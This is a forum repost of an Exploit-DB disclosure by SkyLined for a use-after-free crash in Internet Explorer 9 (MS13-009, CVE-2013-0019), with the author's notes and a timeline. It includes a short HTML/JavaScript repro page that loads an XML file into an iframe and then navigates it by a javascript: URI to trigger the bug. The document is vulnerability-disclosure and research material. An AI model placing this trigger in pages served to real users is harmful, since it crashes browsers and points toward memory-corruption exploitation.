Exploit Microsoft Internet Explorer 9 - CDoc::ExecuteScriptUri Use-After-Free (MS13-009)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
40879
Проверка EDB
  1. Пройдено
Автор
SKYLINED
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
cve-2013-0019
Дата публикации
2016-12-06
Microsoft Internet Explorer 9 - CDoc::ExecuteScriptUri Use-After-Free (MS13-009)
HTML:
<!--
Source: http://blog.skylined.nl/20161202001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript does not prevent an attacker from triggering the vulnerable code path.

Repro.html:
-->

<iframe style="border:1px solid red;width:100%;height:100%;" name="iframe"></iframe>
<script>
    window.open("Repro.xml", "iframe");
    setTimeout(function () {
      window.open('javascript:void(location.href = "about:blank");', "iframe");
    }, 1000);
</script>

<!--
Repro.xml:

<!DOCTYPE x PUBLIC "" "http://www.w3.org/TRt.dtd">

Description

This is the first security vulnerability I sold to ZDI after I quit my job at Google to live off security bug bounties. It appears I either did not analyze this issue (probably), or misplaced my analysis (probably not), as I cannot find any details in my archives, other than a repro and a HTML bug report (provided below) created by a predecessor to BugId. From the information provided by ZDI in their advisory, and Microsoft in their bulletin, as well as the bug report, it seems to have been a use-after-free vulnerability. Unfortunately, that is all the analysis I can provide.

Time-line

June 2012: This vulnerability was found through fuzzing.
June 2012: This vulnerability was submitted to ZDI.
July 2012: This vulnerability was acquired by ZDI.
September 2012: This vulnerability was disclosed to Microsoft by ZDI.
February 2013: Microsoft addresses this vulnerability in MS13-009.
December 2016: Details of this vulnerability are released.
-->
 
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